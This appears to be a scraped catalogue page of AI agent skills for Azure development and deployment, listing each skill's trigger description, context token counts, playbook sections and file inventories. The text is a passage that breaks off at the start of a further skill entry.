Create, update, refactor, explain, or review Semantic Kernel applications, plugins, function-calling flows, and AI integrations in .NET or Python. Use when the user asks for Semantic Kernel implementation help, current SDK guidance, Azure OpenAI or Azure AI Foundry connector patterns, plugin design, or language-specific SK samples.
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
1,165 tokensWhen the skill is activated
Reference documents
261 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Language routing
- Shared implementation rules
- Procedure
- Progressive disclosure and bundled resources
- Gotchas
- Output template
- Quality gate
- References
Files
SKILL.mdcore5,723 bytesreferences/dotnet.mddoc675 bytesreferences/python.mddoc623 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-app-onboard
When your agent uses it
Orchestrate an app end to end from a business idea, app idea, or existing codebase to a running Azure deployment with cost estimates and a pre-deploy approval gate, auto-detecting Azure services, scaffolding infrastructure code, and deploying without a generic template. Use when the user wants to bring an app to Azure, plan an Azure deployment, learn what Azure services an app needs, check the cost to run it, deploy an app or all its services to the cloud, migrate an existing app to Azure, or start a new app from no code.
What it loads into context
Frontmatter
156 tokensAlways available to the agent
SKILL.md
1,715 tokensWhen the skill is activated
Reference documents
82,274 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Reference
- When to invoke
- When NOT to Use
- Pipeline Rules
- Workflow
- Error Handling
- Output template
- Quality gate
Scripts executed separately
references/deploy/deploy-schemas.tsreferences/prepare/prepare-schemas.tsreferences/scaffold/scaffold-schemas.tsreferences/session-schemas.tsscripts/scaffold/scaffold-conformance.ps1scripts/scaffold/scaffold-conformance.sh
Files
SKILL.mdcore7,126 bytesreferences/approval-gates.mddoc7,546 bytesreferences/azd-template-routing.mddoc4,832 bytesreferences/deploy/approval-gate-template.mddoc2,988 bytesreferences/deploy/blocked-patterns.mddoc5,883 bytesreferences/deploy/code-deployment-appservice.mddoc4,735 bytesreferences/deploy/code-deployment-container-apps.mddoc8,634 bytesreferences/deploy/code-deployment-swa.mddoc5,816 bytesreferences/deploy/database-post-deploy.mddoc4,578 bytesreferences/deploy/deploy-checklist-template.mddoc10,385 bytesreferences/deploy/deploy-safety.mddoc4,640 bytesreferences/deploy/deploy-schemas.tsruns3,558 bytesreferences/deploy/error-classification.mddoc3,732 bytesreferences/deploy/health-check-patterns.mddoc5,633 bytesreferences/deploy/mcp-tools.mddoc5,642 bytesreferences/deploy/portal-links.mddoc3,142 bytesreferences/deploy/preflight-checks.mddoc4,456 bytesreferences/deploy/subagent-preflight.mddoc5,210 bytesreferences/handoff-protocol.mddoc7,821 bytesreferences/iac-resources.mddoc2,682 bytesreferences/intent-gathering.mddoc2,288 bytesreferences/mcp-tool-reference.mddoc3,738 bytesreferences/phases/deploy.mddoc7,347 bytesreferences/phases/prepare.mddoc6,312 bytesreferences/phases/scaffold.mddoc14,483 bytesreferences/pipeline-rules-runtime.mddoc3,605 bytesreferences/pipeline-rules.mddoc6,374 bytesreferences/prepare/deploy-strategy.mddoc6,982 bytesreferences/prepare/mcp-tools.mddoc5,695 bytesreferences/prepare/naming-patterns.mddoc4,713 bytesreferences/prepare/prepare-schemas.tsruns7,154 bytesreferences/prepare/pricing-guide-services.mddoc8,646 bytesreferences/prepare/pricing-guide.mddoc4,085 bytesreferences/prepare/service-mapping.mddoc8,155 bytesreferences/prepare/sku-matrix.mddoc3,291 bytesreferences/prepare/sku-quota-validation.mddoc9,205 bytesreferences/prepare/subagent-pricing.mddoc2,557 bytesreferences/prepare/subagent-quota.mddoc3,568 bytesreferences/prepare/validation-rubric.mddoc2,369 bytesreferences/scaffold/bicep-app-service.mddoc5,306 bytesreferences/scaffold/bicep-container-apps.mddoc9,508 bytesreferences/scaffold/bicep-patterns-data.mddoc4,054 bytesreferences/scaffold/bicep-patterns-security.mddoc7,965 bytesreferences/scaffold/bicep-patterns.mddoc6,974 bytesreferences/scaffold/bicep-swa.mddoc757 bytesreferences/scaffold/cicd-pipelines.mddoc325 bytesreferences/scaffold/dockerfile-generation.mddoc3,881 bytesreferences/scaffold/env-var-secrets.mddoc4,185 bytesreferences/scaffold/error-handling.mddoc1,506 bytesreferences/scaffold/iac-generation-rules.mddoc6,763 bytesreferences/scaffold/mcp-tools.mddoc7,182 bytesreferences/scaffold/rbac-roles.mddoc3,928 bytesreferences/scaffold/scaffold-healing-rules.mddoc3,395 bytesreferences/scaffold/scaffold-schemas.tsruns3,575 bytesreferences/scaffold/self-healing.mddoc2,405 bytesreferences/scaffold/self-review-checklist.mddoc9,252 bytesreferences/scaffold/self-review-procedure.mddoc2,343 bytesreferences/scaffold/subagent-iac-gen.mddoc9,749 bytesreferences/scaffold/subagent-review.mddoc3,596 bytesreferences/scaffold/subagent-validate.mddoc7,297 bytesreferences/scaffold/terraform-patterns.mddoc7,023 bytesreferences/scaffold/validation-and-manifest.mddoc5,213 bytesreferences/scaffold/waf-checklist.mddoc2,316 bytesreferences/session-protocol.mddoc8,198 bytesreferences/session-schemas.tsruns5,444 bytesreferences/subscription-resolution.mddoc2,187 bytesscripts/scaffold/scaffold-conformance.ps1runs13,131 bytesscripts/scaffold/scaffold-conformance.shruns14,083 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-app-onboard-prereq
When your agent uses it
Assess whether source code is ready to deploy to Azure before any infrastructure work, evaluating build health, app completeness, dependencies and local services, stack compatibility, and deployment feasibility. Use when the user asks to evaluate a repository, check whether an app is ready or deployable to Azure, find deployment blockers, confirm dependency compatibility, ask whether Azure supports a framework, check whether a Dockerfile is needed, or determine what must change before deploying.
What it loads into context
Frontmatter
129 tokensAlways available to the agent
SKILL.md
2,672 tokensWhen the skill is activated
Reference documents
14,905 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- When NOT to Use
- Rules
- MCP Tools
- Workflow
- Outputs
- Output template
- Quality gate
Scripts executed separately
references/prereq-schemas.tsreferences/session-schemas.ts
Files
SKILL.mdcore10,817 bytesSKILL.mdcore10,817 bytesreferences/build-check.mddoc5,798 bytesreferences/cloud-sdk-migration.mddoc2,219 bytesreferences/completeness-check.mddoc4,530 bytesreferences/component-mapping.mddoc4,724 bytesreferences/dependency-compatibility.mddoc9,166 bytesreferences/deployability-check.mddoc3,161 bytesreferences/prereq-artifacts.mddoc2,404 bytesreferences/prereq-schemas.tsruns4,268 bytesreferences/readiness-gate.mddoc5,528 bytesreferences/remediation-protocol.mddoc3,641 bytesreferences/session-protocol.mddoc7,581 bytesreferences/session-schemas.tsruns5,373 bytesreferences/subagent-starter-scaffold.mddoc4,093 bytesreferences/subscription-resolution.mddoc1,888 bytesreferences/zero-code-path.mddoc3,715 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-deploy
When your agent uses it
Execute Azure deployments for ALREADY-PREPARED applications that have existing .azure/deployment-plan.md and infrastructure files. DO NOT use this skill when the user asks to CREATE a new application — use azure-prepare instead. This skill runs azd up, azd deploy, terraform apply, and az deployment commands with built-in error recovery. Requires .azure/deployment-plan.md from azure-prepare and validated status from azure-validate. WHEN: "run azd up", "run azd deploy", "execute deployment", "push to production", "push to cloud", "go live", "ship it", "bicep deploy", "terraform apply", "publish to Azure", "launch on Azure". DO NOT USE WHEN: "create and deploy", "build and deploy", "create a new app", "set up infrastructure", "create and deploy to Azure using Terraform" — use azure-prepare for these.
What it loads into context
Frontmatter
231 tokensAlways available to the agent
SKILL.md
1,798 tokensWhen the skill is activated
Reference documents
26,994 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Rules
- Steps
- SDK Quick References
- MCP Tools
- References
- Output template
- Quality gate
Scripts executed separately
references/recipes/azd/scripts/apply-migrations.ps1references/recipes/azd/scripts/apply-migrations.shreferences/recipes/azd/scripts/grant-and-migrate.ps1references/recipes/azd/scripts/grant-and-migrate.sh
Files
SKILL.mdcore7,474 bytesreferences/auth-best-practices.mddoc6,207 bytesreferences/global-rules.mddoc1,269 bytesreferences/live-role-verification.mddoc3,965 bytesreferences/pre-deploy-checklist.mddoc18,891 bytesreferences/recipes/README.mddoc431 bytesreferences/recipes/azcli/README.mddoc1,721 bytesreferences/recipes/azcli/errors.mddoc492 bytesreferences/recipes/azcli/verify.mddoc2,059 bytesreferences/recipes/azd/README.mddoc3,746 bytesreferences/recipes/azd/ef-migrations.mddoc5,101 bytesreferences/recipes/azd/errors.mddoc15,752 bytesreferences/recipes/azd/functions-deploy.mddoc3,542 bytesreferences/recipes/azd/post-deployment.mddoc4,299 bytesreferences/recipes/azd/scripts/apply-migrations.ps1runs1,865 bytesreferences/recipes/azd/scripts/apply-migrations.shruns1,793 bytesreferences/recipes/azd/scripts/grant-and-migrate.ps1runs4,351 bytesreferences/recipes/azd/scripts/grant-and-migrate.shruns4,368 bytesreferences/recipes/azd/sql-entra-auth.mddoc2,566 bytesreferences/recipes/azd/sql-managed-identity.mddoc7,598 bytesreferences/recipes/azd/verify.mddoc4,985 bytesreferences/recipes/bicep/README.mddoc2,412 bytesreferences/recipes/bicep/errors.mddoc511 bytesreferences/recipes/bicep/verify.mddoc763 bytesreferences/recipes/cicd/README.mddoc1,232 bytesreferences/recipes/cicd/errors.mddoc542 bytesreferences/recipes/cicd/examples/azdo-azd.ymlasset509 bytesreferences/recipes/cicd/examples/azdo-multistage.ymlasset860 bytesreferences/recipes/cicd/examples/github-azd.ymlasset817 bytesreferences/recipes/cicd/examples/github-bicep.ymlasset687 bytesreferences/recipes/cicd/verify.mddoc754 bytesreferences/recipes/terraform/README.mddoc3,235 bytesreferences/recipes/terraform/errors.mddoc858 bytesreferences/recipes/terraform/verify.mddoc752 bytesreferences/region-availability.mddoc3,031 bytesreferences/sdk/azd-deployment.mddoc1,032 bytesreferences/sdk/azure-identity-dotnet.mddoc941 bytesreferences/sdk/azure-identity-java.mddoc1,249 bytesreferences/sdk/azure-identity-py.mddoc1,149 bytesreferences/sdk/azure-identity-ts.mddoc1,145 bytesreferences/troubleshooting.mddoc8,172 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-prepare
When your agent uses it
Prepare azd-based Azure projects for deployment: generates azure.yaml, infrastructure (Bicep/Terraform), and Dockerfiles for the Azure Developer CLI (azd) workflow. USE ONLY when the user explicitly wants to use azd as the deployment tool, or the project already has an azure.yaml file. DO NOT USE FOR: non-azd deployments, Python App Service code-only deploys (use python-appservice-deploy), or cross-cloud migration (use azure-cloud-migrate). WHEN: prepare app for azd, create azure.yaml, set up azd infrastructure, modernize app for Azure with azd, deploy with azd, function app, timer trigger, service bus trigger, event-driven function, managed identity, generate Bicep, generate Terraform, create and deploy to Azure.
What it loads into context
Frontmatter
207 tokensAlways available to the agent
SKILL.md
3,123 tokensWhen the skill is activated
Reference documents
129,651 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Rules
- ❌ PLAN-FIRST WORKFLOW — MANDATORY
- ❌ STEP 0: Specialized Technology Check — MANDATORY FIRST ACTION
- Phase 1: Planning (BLOCKING — Complete Before Any Execution)
- Phase 2: Execution (Only After Plan Approval)
- Outputs
- SDK Quick References
- Next
- Output template
- Quality gate
Scripts executed separately
references/services/sql-database/scripts/grant-sql-access.ps1references/services/sql-database/scripts/grant-sql-access.sh
Files
SKILL.mdcore13,543 bytesSKILL.mdcore13,543 bytesreferences/analyze.mddoc4,115 bytesreferences/apim.mddoc5,848 bytesreferences/architecture.mddoc6,433 bytesreferences/aspire.mddoc18,605 bytesreferences/auth-best-practices.mddoc6,207 bytesreferences/azure-context.mddoc5,880 bytesreferences/functional-verification.mddoc3,301 bytesreferences/generate.mddoc5,444 bytesreferences/global-rules.mddoc2,045 bytesreferences/plan-template.mddoc10,304 bytesreferences/recipe-selection.mddoc3,249 bytesreferences/recipes/azcli/README.mddoc1,893 bytesreferences/recipes/azcli/commands.mddoc1,608 bytesreferences/recipes/azcli/scripts.mddoc2,285 bytesreferences/recipes/azd/README.mddoc3,894 bytesreferences/recipes/azd/aspire.mddoc9,153 bytesreferences/recipes/azd/azure-yaml.mddoc6,821 bytesreferences/recipes/azd/docker.mddoc2,070 bytesreferences/recipes/azd/iac-rules.mddoc5,935 bytesreferences/recipes/azd/terraform.mddoc14,286 bytesreferences/recipes/bicep/README.mddoc1,396 bytesreferences/recipes/bicep/patterns.mddoc3,103 bytesreferences/recipes/terraform/README.mddoc2,594 bytesreferences/recipes/terraform/patterns.mddoc3,631 bytesreferences/region-availability.mddoc1,742 bytesreferences/requirements.mddoc2,590 bytesreferences/research.mddoc8,747 bytesreferences/resources-limits-quotas.mddoc13,316 bytesreferences/runtimes/nodejs.mddoc6,047 bytesreferences/scan.mddoc3,080 bytesreferences/sdk/azd-deployment.mddoc1,032 bytesreferences/sdk/azure-appconfiguration-java.mddoc1,535 bytesreferences/sdk/azure-appconfiguration-py.mddoc1,171 bytesreferences/sdk/azure-appconfiguration-ts.mddoc1,217 bytesreferences/sdk/azure-identity-dotnet.mddoc941 bytesreferences/sdk/azure-identity-java.mddoc1,249 bytesreferences/sdk/azure-identity-py.mddoc1,149 bytesreferences/sdk/azure-identity-ts.mddoc1,145 bytesreferences/security.mddoc8,661 bytesreferences/services/aks/README.mddoc1,072 bytesreferences/services/aks/addons.mddoc957 bytesreferences/services/aks/bicep.mddoc1,688 bytesreferences/services/aks/manifests.mddoc1,388 bytesreferences/services/app-insights/README.mddoc848 bytesreferences/services/app-service/README.mddoc2,365 bytesreferences/services/app-service/bicep.mddoc4,267 bytesreferences/services/app-service/custom-domains.mddoc4,910 bytesreferences/services/app-service/deployment-slots.mddoc4,635 bytesreferences/services/app-service/networking.mddoc6,746 bytesreferences/services/app-service/scaling.mddoc1,517 bytesreferences/services/app-service/sku-selection.mddoc4,801 bytesreferences/services/app-service/templates/recipes/README.mddoc2,879 bytesreferences/services/app-service/templates/recipes/auth/README.mddoc3,150 bytesreferences/services/app-service/templates/recipes/auth/source/dotnet.mddoc1,380 bytesreferences/services/app-service/templates/recipes/auth/source/nodejs.mddoc2,511 bytesreferences/services/app-service/templates/recipes/auth/source/python.mddoc2,224 bytesreferences/services/app-service/templates/recipes/composition.mddoc4,881 bytesreferences/services/app-service/templates/recipes/cosmos/README.mddoc3,689 bytesreferences/services/app-service/templates/recipes/cosmos/source/dotnet.mddoc1,304 bytesreferences/services/app-service/templates/recipes/cosmos/source/nodejs.mddoc1,260 bytesreferences/services/app-service/templates/recipes/cosmos/source/python.mddoc1,142 bytesreferences/services/app-service/templates/recipes/redis/README.mddoc3,329 bytesreferences/services/app-service/templates/recipes/redis/source/dotnet.mddoc1,687 bytesreferences/services/app-service/templates/recipes/redis/source/nodejs.mddoc2,260 bytesreferences/services/app-service/templates/recipes/redis/source/python.mddoc2,968 bytesreferences/services/app-service/templates/recipes/sql/README.mddoc3,554 bytesreferences/services/app-service/templates/recipes/sql/source/dotnet.mddoc2,997 bytesreferences/services/app-service/templates/recipes/sql/source/nodejs.mddoc3,091 bytesreferences/services/app-service/templates/recipes/sql/source/python.mddoc4,506 bytesreferences/services/app-service/templates/selection.mddoc2,912 bytesreferences/services/app-service/templates/web-api.mddoc5,050 bytesreferences/services/app-service/templates/web-app.mddoc5,046 bytesreferences/services/container-apps/README.mddoc1,333 bytesreferences/services/container-apps/bicep.mddoc4,873 bytesreferences/services/container-apps/day2-operations.mddoc5,240 bytesreferences/services/container-apps/environment.mddoc1,227 bytesreferences/services/container-apps/health-probes.mddoc1,141 bytesreferences/services/container-apps/networking.mddoc5,209 bytesreferences/services/container-apps/revisions.mddoc5,064 bytesreferences/services/container-apps/scaling.mddoc1,397 bytesreferences/services/container-apps/terraform.mddoc6,267 bytesreferences/services/cosmos-db/README.mddoc1,462 bytesreferences/services/cosmos-db/bicep.mddoc1,893 bytesreferences/services/cosmos-db/partitioning.mddoc1,103 bytesreferences/services/cosmos-db/sdk.mddoc1,604 bytesreferences/services/durable-task-scheduler/README.mddoc4,991 bytesreferences/services/durable-task-scheduler/bicep.mddoc4,960 bytesreferences/services/durable-task-scheduler/dotnet.mddoc6,262 bytesreferences/services/durable-task-scheduler/java.mddoc7,910 bytesreferences/services/durable-task-scheduler/javascript.mddoc5,785 bytesreferences/services/durable-task-scheduler/python.mddoc6,568 bytesreferences/services/event-grid/README.mddoc1,052 bytesreferences/services/event-grid/bicep.mddoc1,698 bytesreferences/services/event-grid/subscriptions.mddoc1,596 bytesreferences/services/foundry/README.mddoc1,376 bytesreferences/services/foundry/region-availability.mddoc826 bytesreferences/services/functions/README.mddoc3,852 bytesreferences/services/functions/aspire-containerapps.mddoc3,394 bytesreferences/services/functions/bicep.mddoc12,204 bytesreferences/services/functions/durable.mddoc1,858 bytesreferences/services/functions/templates/README.mddoc6,698 bytesreferences/services/functions/templates/base/eval/python.mddoc762 bytesreferences/services/functions/templates/base/eval/summary.mddoc1,912 bytesreferences/services/functions/templates/base/eval/typescript.mddoc1,096 bytesreferences/services/functions/templates/recipes/README.mddoc1,076 bytesreferences/services/functions/templates/recipes/blob-eventgrid/README.mddoc1,622 bytesreferences/services/functions/templates/recipes/blob-eventgrid/eval/python.mddoc1,269 bytesreferences/services/functions/templates/recipes/blob-eventgrid/eval/summary.mddoc2,613 bytesreferences/services/functions/templates/recipes/common/dotnet-entry-point.mddoc2,003 bytesreferences/services/functions/templates/recipes/common/error-handling.mddoc2,238 bytesreferences/services/functions/templates/recipes/common/health-check.mddoc2,739 bytesreferences/services/functions/templates/recipes/common/nodejs-entry-point.mddoc4,234 bytesreferences/services/functions/templates/recipes/composition.mddoc11,356 bytesreferences/services/functions/templates/recipes/cosmosdb/README.mddoc1,583 bytesreferences/services/functions/templates/recipes/cosmosdb/eval/python.mddoc1,248 bytesreferences/services/functions/templates/recipes/cosmosdb/eval/summary.mddoc1,885 bytesreferences/services/functions/templates/recipes/cosmosdb/eval/typescript.mddoc1,368 bytesreferences/services/functions/templates/recipes/durable/README.mddoc1,866 bytesreferences/services/functions/templates/recipes/durable/eval/python.mddoc1,255 bytesreferences/services/functions/templates/recipes/durable/eval/summary.mddoc1,642 bytesreferences/services/functions/templates/recipes/eventhubs/README.mddoc1,259 bytesreferences/services/functions/templates/recipes/eventhubs/eval/python.mddoc1,262 bytesreferences/services/functions/templates/recipes/eventhubs/eval/summary.mddoc1,533 bytesreferences/services/functions/templates/recipes/mcp/README.mddoc1,940 bytesreferences/services/functions/templates/recipes/mcp/eval/python.mddoc1,264 bytesreferences/services/functions/templates/recipes/mcp/eval/summary.mddoc1,559 bytesreferences/services/functions/templates/recipes/servicebus/README.mddoc1,310 bytesreferences/services/functions/templates/recipes/servicebus/eval/python.mddoc1,344 bytesreferences/services/functions/templates/recipes/servicebus/eval/summary.mddoc1,813 bytesreferences/services/functions/templates/recipes/servicebus/eval/typescript.mddoc1,401 bytesreferences/services/functions/templates/recipes/sql/README.mddoc1,843 bytesreferences/services/functions/templates/recipes/sql/eval/python.mddoc1,211 bytesreferences/services/functions/templates/recipes/sql/eval/summary.mddoc2,818 bytesreferences/services/functions/templates/recipes/timer/README.mddoc1,484 bytesreferences/services/functions/templates/recipes/timer/eval/python.mddoc1,198 bytesreferences/services/functions/templates/recipes/timer/eval/summary.mddoc1,499 bytesreferences/services/functions/templates/selection.mddoc4,436 bytesreferences/services/functions/terraform.mddoc13,614 bytesreferences/services/key-vault/README.mddoc1,344 bytesreferences/services/key-vault/bicep.mddoc1,789 bytesreferences/services/key-vault/sdk.mddoc1,933 bytesreferences/services/logic-apps/README.mddoc1,072 bytesreferences/services/logic-apps/bicep.mddoc1,889 bytesreferences/services/logic-apps/triggers.mddoc1,725 bytesreferences/services/service-bus/README.mddoc1,481 bytesreferences/services/service-bus/bicep.mddoc3,768 bytesreferences/services/service-bus/patterns.mddoc4,349 bytesreferences/services/sql-database/README.mddoc1,922 bytesreferences/services/sql-database/auth.mddoc4,124 bytesreferences/services/sql-database/bicep.mddoc7,992 bytesreferences/services/sql-database/scripts/grant-sql-access.ps1runs3,440 bytesreferences/services/sql-database/scripts/grant-sql-access.shruns3,546 bytesreferences/services/sql-database/sdk.mddoc1,889 bytesreferences/services/static-web-apps/README.mddoc1,357 bytesreferences/services/static-web-apps/bicep.mddoc1,036 bytesreferences/services/static-web-apps/deployment.mddoc1,887 bytesreferences/services/static-web-apps/region-availability.mddoc674 bytesreferences/services/static-web-apps/routing.mddoc1,212 bytesreferences/services/static-web-apps/terraform.mddoc3,551 bytesreferences/services/storage/README.mddoc1,476 bytesreferences/services/storage/access.mddoc3,666 bytesreferences/services/storage/bicep.mddoc1,746 bytesreferences/specialized-routing.mddoc4,405 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-scaffold-wizard
When your agent uses it
Scaffold a complete, production-ready Azure project from scratch for any use case, including RAG chatbots, multi-agent systems, API backends, data pipelines, Azure Functions, full-stack web apps, ML training and inference, and event-driven microservices. Use when the user wants to gather requirements through adaptive questioning and generate a full project structure with source files, Bicep infrastructure, azure.yaml for azd, Docker configuration, CI/CD workflows, a README with architecture diagrams, and Responsible AI documentation targeting Azure Container Apps, Microsoft Foundry, Azure Functions, or Azure ML.
What it loads into context
Frontmatter
141 tokensAlways available to the agent
SKILL.md
4,265 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Required Workflow
- Output template
- Quality gate
Files
SKILL.mdcore18,588 bytesSKILL.mdcore18,588 bytesSKILL.mdcore18,588 bytesSKILL.mdcore18,588 bytesSKILL.mdcore18,588 bytesSKILL.mdcore18,588 bytesSKILL.mdcore18,588 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-validate
When your agent uses it
Run pre-deployment validation for Azure readiness with deep checks on configuration, Bicep or Terraform infrastructure, RBAC role assignments, managed identity permissions, and prerequisites. Use when the user wants to validate an app or azure.yaml, check deployment readiness, run preflight checks, verify configuration before deploying, validate Bicep, Azure Functions, or Container Apps deployments, review role assignments and managed identity permissions, run what-if analysis, or troubleshoot deployment errors.
What it loads into context
Frontmatter
132 tokensAlways available to the agent
SKILL.md
955 tokensWhen the skill is activated
Reference documents
9,261 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Rules
- Steps
- Output template
- Quality gate
Scripts executed separately
references/recipes/azd/scripts/set-aspire-aca-env.ps1references/recipes/azd/scripts/set-aspire-aca-env.shreferences/recipes/scripts/validate-deployment.ps1references/recipes/scripts/validate-deployment.shreferences/recipes/terraform/scripts/validate-terraform.ps1references/recipes/terraform/scripts/validate-terraform.shreferences/scripts/scan-aspire-functions-secrets.ps1references/scripts/scan-aspire-functions-secrets.shreferences/scripts/workflow.ps1references/scripts/workflow.sh
Files
SKILL.mdcore4,247 bytesSKILL.mdcore4,247 bytesreferences/aspire-functions-secrets.mddoc3,771 bytesreferences/global-rules.mddoc1,215 bytesreferences/policy-validation.mddoc1,493 bytesreferences/recipes/README.mddoc374 bytesreferences/recipes/azcli/README.mddoc2,786 bytesreferences/recipes/azcli/errors.mddoc505 bytesreferences/recipes/azd/README.mddoc5,410 bytesreferences/recipes/azd/aspire.mddoc1,772 bytesreferences/recipes/azd/environment.mddoc1,979 bytesreferences/recipes/azd/errors.mddoc2,680 bytesreferences/recipes/azd/scripts/set-aspire-aca-env.ps1runs3,588 bytesreferences/recipes/azd/scripts/set-aspire-aca-env.shruns3,638 bytesreferences/recipes/bicep/README.mddoc2,562 bytesreferences/recipes/bicep/errors.mddoc374 bytesreferences/recipes/scripts/validate-deployment.ps1runs5,278 bytesreferences/recipes/scripts/validate-deployment.shruns6,119 bytesreferences/recipes/terraform/README.mddoc4,040 bytesreferences/recipes/terraform/errors.mddoc2,889 bytesreferences/recipes/terraform/scripts/validate-terraform.ps1runs6,933 bytesreferences/recipes/terraform/scripts/validate-terraform.shruns6,808 bytesreferences/region-availability.mddoc3,031 bytesreferences/role-verification.mddoc3,947 bytesreferences/scripts/scan-aspire-functions-secrets.ps1runs3,053 bytesreferences/scripts/scan-aspire-functions-secrets.shruns3,342 bytesreferences/scripts/workflow.ps1runs5,289 bytesreferences/scripts/workflow.shruns5,856 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubaz-cost-optimize
When your agent uses it
Analyze Azure IaC files and deployed Azure resources for evidence-based cost optimization, validate current costs, calculate priority scores, and draft GitHub issues. Use when asked to "azure cost optimize", "reduce Azure spend", "find Azure cost savings", "right-size Azure resources", or "create cost optimization issues".
What it loads into context
Frontmatter
79 tokensAlways available to the agent
SKILL.md
2,974 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Azure discovery and evidence
- Usage metrics and current cost validation
- Optimization patterns
- Procedure
- Issue templates
- Implementation Tracking
- Progress Tracking
- Success Criteria
- Notes
- Quality gate
Files
SKILL.mdcore13,213 bytesSKILL.mdcore13,213 bytesSKILL.mdcore13,213 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-cli
When your agent uses it
Azure CLI operations run az commands for cloud resource discovery, subscription context, identity, AKS, ACR, Key Vault, RBAC, managed identity, and federated credential workflows. Use this skill when working with az login, az account, az aks, az acr, az keyvault, resource group checks, or Azure day-2 operations.
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
1,467 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Output template
- Limits
- Progressive disclosure and bundled resources
- Related primitives
- Quality gate
Scripts executed separately
scripts/setup-identity-federation.sh
Files
SKILL.mdcore6,230 bytesSKILL.mdcore6,230 bytesSKILL.mdcore6,230 bytesSKILL.mdcore6,230 bytesSKILL.mdcore6,230 bytesSKILL.mdcore6,230 bytesscripts/setup-identity-federation.shruns14,420 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-compute
When your agent uses it
Route Azure virtual machine and scale set work, including size and image selection, pricing comparison, autoscale and orchestration modes, capacity reservation groups, and Essential Machine Management. Use when the user asks to create, provision, deploy, or spin up a VM, recommend a VM size or family, compare VM pricing, work with VMSS, scale sets, autoscale, burstable or GPU sizes, plan HPC, machine learning, or dev/test workloads, estimate compute cost, or reserve and guarantee capacity.
What it loads into context
Frontmatter
140 tokensAlways available to the agent
SKILL.md
766 tokensWhen the skill is activated
Reference documents
29,434 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Routing
- Output template
- Quality gate
Files
SKILL.mdcore3,312 bytesreferences/retail-prices-api.mddoc6,439 bytesreferences/vm-families.mddoc5,942 bytesreferences/vm-quotas.mddoc4,191 bytesreferences/vmss-guide.mddoc6,348 bytesworkflows/capacity-reservation/capacity-reservation.mddoc7,971 bytesworkflows/capacity-reservation/references/association-disassociation.mddoc3,908 bytesworkflows/capacity-reservation/references/capacity-reservation-overview.mddoc6,108 bytesworkflows/essential-machine-management/essential-machine-management.mddoc5,101 bytesworkflows/essential-machine-management/references/emm-enable-flow-portal-guidance.mddoc3,140 bytesworkflows/essential-machine-management/references/emm-enable-flow.mddoc9,429 bytesworkflows/essential-machine-management/references/emm-overview.mddoc2,442 bytesworkflows/essential-machine-management/references/emm-prerequisites.mddoc3,544 bytesworkflows/vm-creator/examples/bicep/README.mddoc1,681 bytesworkflows/vm-creator/examples/bicep/main.bicepasset3,858 bytesworkflows/vm-creator/examples/terraform/README.mddoc2,562 bytesworkflows/vm-creator/examples/terraform/main.tfasset3,324 bytesworkflows/vm-creator/examples/terraform/outputs.tfasset135 bytesworkflows/vm-creator/examples/terraform/variables.tfasset1,010 bytesworkflows/vm-creator/references/delivery-options/github-pr.mddoc3,289 bytesworkflows/vm-creator/references/delivery-options/index.mddoc2,326 bytesworkflows/vm-creator/references/delivery-options/print.mddoc474 bytesworkflows/vm-creator/references/delivery-options/save-local.mddoc2,045 bytesworkflows/vm-creator/references/depth-probe/beginner.mddoc1,214 bytesworkflows/vm-creator/references/depth-probe/cost-deep.mddoc1,150 bytesworkflows/vm-creator/references/depth-probe/index.mddoc3,043 bytesworkflows/vm-creator/references/depth-probe/networking-deep.mddoc1,623 bytesworkflows/vm-creator/references/depth-probe/security-deep.mddoc1,270 bytesworkflows/vm-creator/references/depth-probe/spec-deep.mddoc1,377 bytesworkflows/vm-creator/references/mcp-tools.mddoc2,329 bytesworkflows/vm-creator/references/output-adapters/az-cli.mddoc1,948 bytesworkflows/vm-creator/references/output-adapters/bicep.mddoc1,760 bytesworkflows/vm-creator/references/output-adapters/index.mddoc3,053 bytesworkflows/vm-creator/references/output-adapters/mcp-apply.mddoc2,649 bytesworkflows/vm-creator/references/output-adapters/terraform.mddoc1,555 bytesworkflows/vm-creator/references/plan-card.mddoc4,015 bytesworkflows/vm-creator/references/validation-gates.mddoc2,225 bytesworkflows/vm-creator/vm-creator.mddoc7,681 bytesworkflows/vm-recommender/references/handoff-to-creator.mddoc1,684 bytesworkflows/vm-recommender/references/web-fetch-policy.mddoc1,656 bytesworkflows/vm-recommender/vm-recommender.mddoc6,582 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-enterprise-infra-planner
When your agent uses it
